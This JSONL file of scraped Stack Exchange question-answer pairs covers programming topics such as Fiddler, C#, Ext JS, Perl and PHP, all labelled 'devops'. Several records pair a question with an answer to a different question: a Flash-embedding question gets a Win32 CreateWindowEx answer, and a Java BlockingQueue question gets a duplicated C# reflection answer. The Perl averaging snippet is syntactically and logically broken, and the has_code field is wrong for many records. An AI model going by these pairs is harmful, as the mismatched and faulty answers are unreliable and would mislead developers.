{"id": "hf_0fa491a08094", "question": "<p>When using Fiddler to monitor HTTP Requests &amp; Responses in Internet Explorer it ignores all traffic directed to <a href=\"http://localhost\" rel=\"noreferrer\">http://localhost</a>.</p>\n", "question_body": "", "answer": "To get Fiddler to capture traffic when you are debugging on local host, after you hit F5 to begin degugging change the address so that localhost has a \".\" after it.\nFor instance, you start debugging and the you have the following URL in the Address bar:\nhttp://localhost:49573/Default.aspx\nChange it to:\nhttp://localhost.:49573/Default.aspx\nHit enter and Fidder will start picking up your traffic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:18.959991"}
{"id": "hf_d20efda8ba69", "question": "<p>In C# is there any real difference (other than syntax) under the hood between:</p>\n\n<pre><code>myButton.Click += new EventHandler(myMemberMethod);\n</code></pre>\n\n<p>and</p>\n\n<pre><code>myButton.Click += myMemberMethod;\n</code></pre>\n\n<p>?</p>\n", "question_body": "", "answer": "The second method is a shortcut to the first one, it was introduced in C# 2.0\nSee also\nthis thread\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.015574"}
{"id": "hf_41bac5135281", "question": "<p>Does anyone know the bare minimum files required for Ext JS 2.2? I know the ExtJS site has a feature to <a href=\"http://extjs.com/products/extjs/build/\" rel=\"noreferrer\">\"build\"</a> a small version of ExtJS (ext.js) as a replacement for ext-all.js but that's for minimizing the size of ExtJS on the client. I'm interested in minimizing what's on the server. Currently the SDK comes with the following subdirectories:</p>\n\n<h2>ext-2.2/</h2>\n\n<pre><code>adapter\nair\nbuild\ndocs\nexamples\nresources\nsource\n</code></pre>\n\n<p>I think its pretty safe to remove examples, docs, and air. However, are there other things we can remove to make this smaller or is there a resource (besides the large javascript source code corpus) that documents the minimum required files?</p>\n", "question_body": "", "answer": "This link explains the include order\nWhat is the proper include order for my JavaScript files?\nThis is the minimum include set\n```\n```\n<link rel=\"stylesheet\" type=\"text/css\" href=\"../extjs/resources/css/ext-all.css\">\n<script type=\"text/javascript\" src=\"../extjs/adapter/ext/ext-base.js\"></script>\n<script type=\"text/javascript\" src=\"../extjs/ext-all.js\"></script>\n```\n```\nThe ext-all.css depends on files in ../extjs/resources/css so you should include that entire directory structure also.\nSo you'd need the following files at a minimum\nextjs/resources/**/*\nextjs/adapter/ext/ext-base.js\nextjs/ext-all.js\nIf you're not using Ext JS for any of the UI components then you don't need any of the stylesheets and supporting images, but in that case you'd have to question why you're using Ext JS since that's it's strong point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.045569"}
{"id": "hf_b09e82bf4571", "question": "<p>Using any tools which you would expect to find on a nix system (in fact, if you want, msdos is also fine too), what is the easiest/fastest way to calculate the mean of a set of numbers, assuming you have them one per line in a stream or file?</p>\n", "question_body": "", "answer": "Perl.\n```\n```\n@a = <STDIN>;\n\nfor($i = 0; $i < #@a; $i++)\n{\n   $sum += $a[i];\n}\n\nprint $a[i]/#@a;\n```\n```\nCaveat Emptor: My syntax may be a little whiffly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.105184"}
{"id": "hf_0159bf2d06fc", "question": "<p>I would like to embed Flash Player directly inside a C++ or Java application.</p>\n\n<p>I found an article that describes how to do this for C#:\n<a href=\"http://www.adobe.com/devnet/flash/articles/stock_history03.html\" rel=\"noreferrer\">http://www.adobe.com/devnet/flash/articles/stock_history03.html</a></p>\n\n<p>Unfortunately, I have no experience with C#, COM or ActiveX. I need someone to translate this code to C++, allowing me to embed the Flash Player into a Win32 Window. Ultimately I'd like to use this information to embed Flash into a Java application.</p>\n\n<p>I am looking for three main functionalities:</p>\n\n<ol>\n<li>Ability to play a Flash movie</li>\n<li>Ability to receive events (such as mouse clicks)</li>\n<li>Ability to send events</li>\n</ol>\n\n<p>Edit: I prefer an open-source solution if possible.</p>\n", "question_body": "", "answer": "I don't know how to embed flash in C++, but Christopher Deckers (of\nSWTSwing\nfame) has developed an interesting hack which allows it to be embedded in Java.  You can find more information in\nthe Javalobby announcement thread\n.\nHere is an updated link:\nhttps://github.com/Chrriis/DJ-Native-Swing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.151872"}
{"id": "hf_87aa0e0c6a28", "question": "<p>How can I set the location (as it's picked up in CoreLocation services) in the iPhone Simulator? </p>\n", "question_body": "", "answer": "In my delegate callback, I check to see if I'm running in a simulator (\n```\n#if TARGET_ IPHONE_SIMULATOR\n```\n) and if so, I supply my own, pre-looked-up, Lat/Long. To my knowledge, there's no other way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.175865"}
{"id": "hf_c3fc693472e6", "question": "<pre><code>$query = \"SELECT * FROM `table`\";\n$results = mysql_query($query, $connection);\n</code></pre>\n\n<p>If 'table' has no rows. whats the easiest way to check for this.?</p>\n", "question_body": "", "answer": "You could use\nmysql_num_rows($results)\nto check if 0 rows were returned, or use this faster alternative:\n```\n```\n$query = \"SELECT COUNT(*) AS total FROM table\";\n$results = mysql_query($query, $connection);\n$values = mysql_fetch_assoc($results);\n$num_rows = $values['total'];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.198529"}
{"id": "hf_9f634a3d0ce4", "question": "<p>I want to check if a given date is more than a month earlier than today's date using LINQ.</p>\n\n<p>What is the syntax for this?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I assume that you're talking about in the where clause.  It's basically the same way you would compare two DateTime objects elsewhere.\n```\n```\nusing (DataContext context = new DataContext()) {\n   var query = from t in context.table\n               where t.CreateDate.Date < DateTime.Today.AddMonths(-1)\n               select t;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.233435"}
{"id": "hf_3ed8c7461683", "question": "<p>I would like to show a set of consecutive numbers in a UIPickerView component but have it wrap around like the seconds component of the Clock->Timer application. The only behavior I can enable looks like the hours component of the Timer application, where you can scroll in only one direction.</p>\n", "question_body": "", "answer": "I found my answer here:\nhttp://forums.macrumors.com/showthread.php?p=6120638&highlight=UIPickerView#post6120638\nWhen it asks for the title of a row, give it:\nCode:\n```\n```\nreturn [rows objectAtIndex:(row % [rows count])];\n```\n```\nWhen it says the user didSelectRow:inComponent:, use something like this:\nCode:\n```\n```\n//we want the selection to always be in the SECOND set (so that it looks like it has stuff before and after)\nif (row < [rows count] || row >= (2 * [rows count]) ) {\n    row = row % [rows count];\n    row += [rows count];\n    [pickerView selectRow:row inComponent:component animated:NO];\n}\n```\n```\nIt appears that the UIPickerView does not support wrapping around natively, but you can fool it by inserting more sets of data to be displayed and when the picker stops, centering the component to the middle of the data set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.284478"}
{"id": "hf_83a54ee5d783", "question": "<p>I am completely new to programming - my interest lies in PHP &amp; MySql for building a dynamic web application for Military Band Administration purposes. i.e. General info and social networking for members + added functionality for the management team to communicate effectively.</p>\n\n<p>OK so the question - as I learn more about PHP there are terms used that I do not understand that must come from a common basis of familiarity between all languages i.e. \"stack overflow\" appears to be an obvious one - \"using too many recursive functions may smash the stack\" is another. </p>\n\n<p>So is there a book (a primer perhaps) about programming in general which allows someone like me to have a better understanding of what all this means?</p>\n\n<p>Bear in mind I am 57 years old (young) and am really just starting out.</p>\n\n<p>Steve </p>\n", "question_body": "", "answer": "To get a good understanding of the inner workings of computer hardware and software in a very readable (not too technical) manner, I can recommend\nCode,The Hidden Language of Computer Hardware and Software\nby Charles Petzold.\nThe later chapters in particular talk about some of these more general programming concepts that are present in most programming languages.  The earlier chapters focus on more the history of the computer and software, so not as relevant to your question.\nHowever it's not a large book so the reading it all should be interesting/useful anyway.\nThere are better books if you are looking for an introduction to PHP/MySQL programming specifically, however if you want more general knowledge about how software and hardware works, Code is great.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.343615"}
{"id": "hf_0422be2367c9", "question": "<p>The following Perl statements behave identically on Unixish machines.  Do they behave differently on Windows?  If yes, is it because of the magic \\n?</p>\n\n<pre><code>  split m/\\015\\012/ms, $http_msg;\n  split m/\\015\\012/s, $http_msg;\n</code></pre>\n\n<p>I got a <a href=\"http://www.nntp.perl.org/group/perl.cpan.testers/2008/10/msg2450019.html\" rel=\"nofollow noreferrer\">failure</a> on one of my CPAN modules from a Win32 smoke tester.  It looks like it's an \\r\\n vs \\n issue.  One change I made recently was to add //m to my regexes.</p>\n", "question_body": "", "answer": "For these regexes:\n```\n```\nm/\\015\\012/ms\nm/\\015\\012/s\n```\n```\nBoth /m and /s are meaningless.\n/s: makes\n```\n.\n```\nmatch\n```\n\\n\n```\ntoo.\nYour regex doesn't contain\n```\n.\n```\n/m: makes\n```\n^\n```\nand\n```\n$\n```\nmatch next to embedded\n```\n\\n\n```\nin the string.\nYour regex contains no\n```\n^\n```\nnor\n```\n$\n```\n, or their synonyms.\nWhat is possible is indeed if your input handle (socket?) works in text mode, the\n```\n\\r\n```\n(\n```\n\\015\n```\n) characters will have been deleted on Windows.\nSo, what to do? I suggest making the\n```\n\\015\n```\ncharacters optional, and split against\n```\n```\n/\\015?\\012/\n```\n```\nNo need for /m, /s or even the leading\n```\nm//\n```\n. Those are just cargo cult.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.367584"}
{"id": "hf_4b3ae022d168", "question": "<p>A long time ago when I was a young lat I used to do a lot of assembler and optimization programming. Today I mainly find myself building web apps (it's alright too...). However, whenever I create fields for database tables I find myself using values like 16, 32 &amp; 128 for text fields and I try to combine boolean values into SET data fields. </p>\n\n<p>Is giving a text field a length of 9 going to make my database slower in the long run and do I actually help it by specifying a field length that is more easy memory aligned?</p>\n", "question_body": "", "answer": "Database optimization is quite unlike machine code optimization. With databases, most of the time you want to reduce disk I/O, and wastefully trying to align fields will only make less records fit in a disk block/page. Also, if any alignment is beneficial, the database engine will do it for you automatically.\nWhat will matter most is indexes and how well you use them. Trying tricks to pack more information in less space can easily end up making it harder to have good indexes. (Do not overdo it, however; not only do indexes slow down INSERTs and UPDATEs to indexed columns, they also mean more work for the planner, which has to consider all the possibilities.)\nMost databases have an EXPLAIN command; try using it on your selects (in particular, the ones with more than one table) to get a feel for how the database engine will do its work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.395483"}
{"id": "hf_70ffbc2d379b", "question": "<p>On the Python side, I can create new numpy record arrays as follows:</p>\n\n<pre><code>numpy.zeros((3,), dtype=[('a', 'i4'), ('b', 'U5')])\n</code></pre>\n\n<p>How do I do the same from a C program?  I suppose I have to call <code>PyArray_SimpleNewFromDescr(nd, dims, descr)</code>, but how do I construct a <code>PyArray_Descr</code> that is appropriate for passing as the third argument to <code>PyArray_SimpleNewFromDescr</code>?</p>\n", "question_body": "", "answer": "See the\nGuide to NumPy\n, section 13.3.10.  There's lots of different ways to make a descriptor, although it's not nearly as easy as writing\n```\n[('a', 'i4'), ('b', 'U5')]\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.442466"}
{"id": "hf_4d54b8c44a81", "question": "<p>Is there a good way to add a .swf programatically to a panel on an asp.net page - ie: I know i could just insert the html tags:</p>\n\n<p>ie: </p>\n\n<pre><code>&lt;object type=\"application/x-shockwave-flash\" data=\"yourflash.swf\" width=\"\" height=\"\"&gt;\n&lt;param name=\"movie\" value=\"yourflash.swf\"&gt;\n&lt;/object&gt;\n</code></pre>\n\n<p>But is there an existing .net or free FLASH component already that you just set the properties on, or do i need to create a custom web control myself (not preferred) so i dont have to continously do this?</p>\n\n<p>Thank you. </p>\n", "question_body": "", "answer": "Just a guess here, but it looks like you are inheriting either the Static Edge or Client Edge style from you theme.  I create most of my dialogs from the resource editor and set these properties there.\nIn your case, you can replace your CreateWindow with a\nCreateWindowEx\nto set these extended styles, which are probably being defaulted in CreateWindow.  Specifically check out\n```\nWS_EX_STATICEDGE, WS_EX_WINDOWEDGE and WS_EX_CLIENTEDGE\n```\nEdit: I'm assuming that this is not happening because you button is the default control in the dialog, which would also give a black edge.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.478039"}
{"id": "hf_18022fe70a7b", "question": "<p>I'm looking for something that will let me parse Atom and RSS in Ruby and Rails. I've looked at the standard RSS library, but is there one library that will auto-detect whatever type of feed it is and parse it for me?</p>\n", "question_body": "", "answer": "Googleage reveals some things.  Were they not acceptable?\nSimple RSS\nRuby-Feedparser\n```\n```\nrequire 'simple-rss'\nrequire 'open-uri'\nrss = SimpleRSS.parse open('http://slashdot.org/index.rdf')\nrss.channel.title # => \"Slashdot\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.536743"}
{"id": "hf_3e791b0ddaf8", "question": "<p>I'm trying to solve this flickering problem on the iphone (open gl es game).  I have a few images that don't have pow-of-2 dimensions.  I'm going to replace them with images with appropriate dimensions... but why do the dimensions need to be powers of two?</p>\n", "question_body": "", "answer": "Typically, graphics hardware works natively with textures in power-of-2 dimensions.  I'm not sure of the implementation/construction details that cause this to be the case, but it's generally how it is everywhere.\nEDIT:  With a little research, it turns out my knowledge is a little out of date -- a lot of modern graphics cards can handle arbitrary texture sizes now.  I would imagine that with the space limitations of a phone's graphics processor though, they'd probably need to omit anything that would require extra silicon like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.574892"}
{"id": "hf_335409df6b11", "question": "<p>Now that the G1 with Google's Android OS is now available (soon), will the android platform ever support .Net?</p>\n", "question_body": "", "answer": "Yes, it will be possible and it won't be that difficult. All what's needed at this point to start with is some kind of converter that will turn MSIL into\nDalvik bytecode\n. Since both formats are open-sourced and well documented, there won't be any problem with it.\nSo, writing Android applications in C# or VB.NET will be possible, question is how much of .NET framework standard libraries will be supported. But that's another issue.\nOscar Reyes wrote:\nI'm pretty sure if google hand ANY\n  interest in .net, they would've design\n  something while Android was in the\n  first stages, not now when they are in\n  production stages. I don't mean it is\n  not possible, what I'm saying is\n  they're not interested. Maybe in mmm\n  hhhh 10 yrs.\nActually what they've already designed is\nvery compatible\nwith Java and .NET\nThey can't do everything at once, but if you look into Android SDK, there is a tool called\ndx\n. This tool converts Java bytecode into Dalvik bytecode, so in other words, you can run programs written in Java on Android with no effort today. Now the same tool is needed for .NET.\nConsidering how similar .NET and Java are, it's really a matter of time.\nddimitrov wrote:\nThe .Net->Java->Dalvik translation can\n  be done even now\n  (\nhttp://dev.mainsoft.com/\n), but I\n  think you underestimate the lack of\n  .Net libraries. Of course somebody can\n  port Mono, but it's definitely a\n  non-trivial effort.\nNo need to port Mono. Android already has VM and some basic API. All what's needed is CIL->Dalvik converter and tiny .NET wrapper for Android API (and maybe some basic implementation of some standard .NET classes). That's it.\nUpdate:\n.NET already works on Android - you will need product called Monodroid (\nhttp://monodroid.net\n) as stated above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.598494"}
{"id": "hf_1ae9a5c41985", "question": "<p>I have a webservice, which takes java.lang.object objects as parameters (because at runtime only know hte type of object)...after doing process, reply response setting java.lang.Object to it.</p>\n\n<p>I am able to send the reuest objects to webservice from calling program, but getting NotSerializable exception while building the response from webservice.</p>\n\n<p>I came to know that 'if we implement, java.io.serializable, the mebmers also should be serializable objects'... here Object isnot a serializable object..it doesn't impllement Serializable....</p>\n\n<p>If anyone could guide mw with right solution..I wouold be thankful.</p>\n\n<p>Thanks\nBhaskar</p>\n", "question_body": "", "answer": "If the members of the class don't implement Serializable then you can't use native Java serialisation for it.  That's basically what your error message is telling you.\nIf you cannot cause the underlying objects to implement Serializable, then you are probably going to have to find a different method of serialisation for passing in and out of your web service.  Popular varieties from Java are XML, JSON, AMF, although you can always roll your own.\nIf you have Java objects on either end of your request then make sure you factor your code so that your serialisation and de-serialisation code is in a library that can be used at both ends.  That will greatly ease the burden of testing in your implementation.\nI would recommend keeping all the serialisation code out of the domain objects themselves.  Think about using a factory pattern for creation of your objects.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.622538"}
{"id": "hf_246cbc2ad6e5", "question": "<p>It's just so much <code>HRESULT E_FAIL</code>, if you know what I'm talking about.  </p>\n\n<p>And if you use Visual Studio, you know what I'm talking about.</p>\n\n<p>Similar thread, but not a duplicate: <a href=\"https://stackoverflow.com/questions/196001/is-the-design-view-for-aspx-pages-in-visual-studio-useful\">Is the design view for aspx pages in Visual Studio useful?</a></p>\n\n<p>Any insight, including input from Microsoft MVPs (oh, I know you're out there) would be super cool.</p>\n", "question_body": "", "answer": "Try this:\nPut your MasterPages in a seperate folder (if they aren't already.  Call it\n```\nmasterpages\n```\n.  Then add this to your\n```\nweb.config\n```\n:\n```\n```\n<location path=\"MasterPage\">\n<system.web>\n  <authorization>\n    <allow users=\"?\" />\n  </authorization>\n</system.web>\n```\n```\nThis will allow anonymous access to that folder and allow access to the masterpage.  Also, are these nested masterpages?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.646334"}
{"id": "hf_d7468cc3be4d", "question": "<p>I have two windows services running on the same machine. Both the services uses</p>\n\n<p>private HttpListener listener;</p>\n\n<p>I specify the baseURL as \"<a href=\"http://IPAddress:8080/\" rel=\"noreferrer\">http://IPAddress:8080/</a>\" &amp; \"<a href=\"http://IPAddress:8081/\" rel=\"noreferrer\">http://IPAddress:8081/</a>\" respectively for each of the services. Then I do the needful and call</p>\n\n<p>listener.Start();</p>\n\n<p>The first service starts successfully at 8080 port. But when I now start the 2nd service,\nI get HTTPListenerException \"The process cannot access the file because it is being used by another process\" for listener object.</p>\n\n<p>Could anybody please tell me:\n1) If it is possible to start two HTTP listeners on the same IIS at two different ports.\n2) If yes, how can we achecive this?\n3) Is there any other way of doing this?</p>\n\n<p>For your information:\nI am using C#.NET 2.0 and IIS 6.0 server.</p>\n\n<p>Thanks &amp; Regards,</p>\n\n<p>Hari</p>\n", "question_body": "", "answer": "Doesn't HttpListener work independently from IIS? Can you stop the IIS service and see what happens?\nOr maybe port 8081 is\nused by another program\nor process. I suggest to try to set the port to another number. You could open a command line and execute the \"\nnetstat\n\" command to see\nif the port is used\nbefore starting your services.\n(source:\ngooglepages.com\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.681443"}
{"id": "hf_83fab2cffed5", "question": "<p>Is there a clever way of adding XML serialization instructions without modifying the serialized class?</p>\n\n<p>I don’t like the default serialization and I can’t modify the class. I was considering inheriting the class, and using Shadows (VB.NET) to re-implement the properties (with the serialization instructions), but it results in a lot of duplicate code and just looks terrible.</p>\n\n<p>The ideal solution I'm looking for is basically a method to keep all the serialization instructions in a separate file.</p>\n", "question_body": "", "answer": "Use reflection to get the values of all the properties from the class then write them as attributes on to an XmlNode\n```\n```\nPropertyInfo[] properties = control.GetType().GetProperties();\nforeach (PropertyInfo property in properties)\n{\n  object o = property.GetValue(control, null);\n  // write value of o.ToString() out as an attribute on a XmlNode\n  // where attribute name is property.Name\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.705971"}
{"id": "hf_eacfa8735161", "question": "<p>Essentially what I want is a BlockingQueue of size=1. I have a \"listener\" thread that simply waits, blocking until an object is put into the queue, and then retrieves it--and a \"producer\" thread that actually puts the object into the queue.</p>\n\n<p>I can implement this with some synchronized blocks and a BlockingQueue implementation, but that seems like overkill. Is there a better, simpler way to do what I want?</p>\n\n<p>Example interface:</p>\n\n<pre><code>public interface Wait&lt;T&gt; {\n  /**\n   * If \"put\" has never been called on this object, then this method will\n   * block and wait until it has. Once \"put\" has been called with some T, this\n   * method will return that T immediately.\n   */\n  public T get() throws InterruptedException;\n\n  /**\n   * @param object The object to return to callers of get(). If called more\n   * than once, will throw an {@link IllegalStateException}.\n   */\n  public void put(T object);\n}\n</code></pre>\n", "question_body": "", "answer": "Use reflection to get the values of all the properties from the class then write them as attributes on to an XmlNode\n```\n```\nPropertyInfo[] properties = control.GetType().GetProperties();\nforeach (PropertyInfo property in properties)\n{\n  object o = property.GetValue(control, null);\n  // write value of o.ToString() out as an attribute on a XmlNode\n  // where attribute name is property.Name\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.729744"}
{"id": "hf_528b4526967b", "question": "<p>I'm looking for a library to save an array of colour data to a PNG file. (That's all there is to it, right? I know very little about the internals of a PNG.)</p>\n\n<p>This is for use in Nintendo DS development, so something lightweight is preferable. I don't need any other fancy features like rotation, etc. </p>\n", "question_body": "", "answer": "Have you looked at libpng?\nhttp://www.libpng.org/pub/png/libpng.html\nI'm not sure whether the memory footprint will be acceptable, but you should probably be aware that PNG files are a lot more involved than just an array of colors. Performance is likely to be a concern on a DS.\nIf you go with libpng, you'll also need zlib, and if you're using DevKitPro, you'll probably run into some missing functions (from playing with the code for 5 minutes, it looks like it relies on pow() which doesn't seem to be in libnds.) I have no idea what the official Nintendo SDK offers in the way of a standard library - you might be in better shape if that's what you're using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.753177"}
{"id": "hf_4505163be54c", "question": "<p>Apparently, they're \"confusing\". Is that seriously the reason? Can you think of any others?</p>\n", "question_body": "", "answer": "Have you seen how many developers don't really understand ref/out?\nI use them where they're really necessary, but not otherwise. They're usually only useful if you want to effectively return two or more values - in which case it's worth at least\nthinking\nabout whether there's a way of making the method only do one thing instead. Sometimes using ref/out\nis\nthe most appropriate approach - the various TryParse methods etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.777065"}
{"id": "hf_1eeb06495b12", "question": "<p>I can think of plenty of good reasons to using it; however, what are the downsides to it?</p>\n\n<p>(Apart from buying another server)</p>\n\n<p>What are some advantages to using a daily build instead of it?</p>\n", "question_body": "", "answer": "I don't think there are any downsides to it. But for the sake of the argument, here is\nEric Minick's article on UrbanCode\n(\"It's about tests not builds.\")\nHe criticises the tools that are based on\nMartin Fowler's work\nsaying that they don't let enough time for tests.\n\"To be truly successful in CI, Fowler asserts that the build should be self-testing and that these tests include both unit and end-to-end testing. At the same time, the build should be very fast - ideally less than ten minutes - because it should run on every commit. If there are a significant number of end-to-end tests, executing them at build time while keeping the whole process under ten minutes is unrealistic.\nAdd in the demand for a build on every commit, and the requirements start to feel improbable. The options are either slower feedback or the removal of some tests.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.800970"}
{"id": "hf_7dee3d511f1f", "question": "<p>I'm using the contentEditable attribute on a DIV element in Firefox 3.03.  Setting it to true allows me to edit the text content of the DIV, as expected.</p>\n\n<p>Then, when I set contentEditable to \"false\", the div is no longer editable, also as expected.  </p>\n\n<p>However the flashing caret (text input cursor) remains visible even though the text is no longer editable.  The caret is now also visible when I click on most other text in the same page, even in normal text paragraphs.</p>\n\n<p>Has anyone seen this before?  Is there any way to force the caret hidden?  </p>\n\n<p>(When I either resize the browser or click within another application, and come back, the caret magically disappears.)</p>\n", "question_body": "", "answer": "I've dealt with this and my workaround is clearing the selection when I disable contentEditable:\n```\n```\nif ($.browser.mozilla) { // replace with browser detection of your choice\n  window.getSelection().removeAllRanges();\n}\n```\n```\nI am actually removing the \"contenteditable\" attribute for browsers other than IE, rather than setting it to false:\n```\n```\nif ($.browser.msie) {\n  element.contentEditable = false;\n}\nelse {\n  $(element).removeAttr( 'contenteditable' );\n}\n```\n```\nThe browsers manage the contentEditable attribute inconsistently and my testing revealed that this worked better overall. I don't remember if this contributed to fixing the caret problem, but I'm throwing it in here just in case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.871742"}
{"id": "hf_f72170c21696", "question": "<p>I'm trying to find some references in regards to x86 Assembly languages. Tutorials/Examples to help my understanding.\n-Thanks</p>\n", "question_body": "", "answer": "Programming from the Ground Up\n(free book, highly recommended)\nx86 Assembly\n(wikibooks.org)\nEssential Resources for x86 Programmers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.910918"}
{"id": "hf_e580471ba3d4", "question": "<p>What is a <code>StackOverflowError</code>, what causes it, and how should I deal with them?</p>\n", "question_body": "", "answer": "Like you say, you need to show some code. :-)\nA stack overflow error usually happens when your function calls nest too deeply. See the\nStack Overflow Code Golf\nthread for some examples of how this happens (though in the case of that question, the answers intentionally cause stack overflow).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:19.934964"}
